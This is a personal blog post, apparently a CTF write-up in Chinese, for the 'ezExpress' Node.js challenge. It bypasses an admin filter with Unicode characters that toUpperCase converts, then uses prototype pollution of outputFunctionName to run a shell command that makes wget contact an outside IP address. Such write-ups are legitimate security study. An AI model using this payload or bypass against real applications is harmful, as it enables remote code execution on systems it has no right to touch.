刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

2020年新春战“疫”—网络安全公益赛 Web ezExpress Writeup(特殊字符绕过toUpperCase,node.js原型污染漏洞,命令执行RCE)

image.png


注册个账号,并且发现源码泄露

image.png

要求必须使用ADMIN登录

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  console.log(a);
  console.log(b);
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
    req.session.user={
      'user':'admin',
      'passwd': '123123',
      'isLogin':true
    }
  //if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  console.log(req.body)
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
	console.log(res.outputFunctionName)
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

可以看到username使用了

toUpperCase

函数处理,存在漏洞

javascript大小写特性

在javascript中有几个特殊的字符需要记录一下

对于toUpperCase():

字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase():

字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

在绕一些规则的时候就可以利用这几个特殊字符进行绕过


使用ADMıN注册后,可以登录为ADMIN。

image.png

提示flag在/flag中。

下面根据代码提示应该是原型污染漏洞造成的命令执行,


image.png

{
	
    "type": "test",

    "__proto__": {
        "outputFunctionName": "a=1;process.mainModule.require('child_process').exec('bash -c \" wget 122.51.254.197:9999   \"')//"
    }

}

可以接收到wget发来的请求,但是我不知道怎么读取到flag,反弹shell不成功,最后放弃了

发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.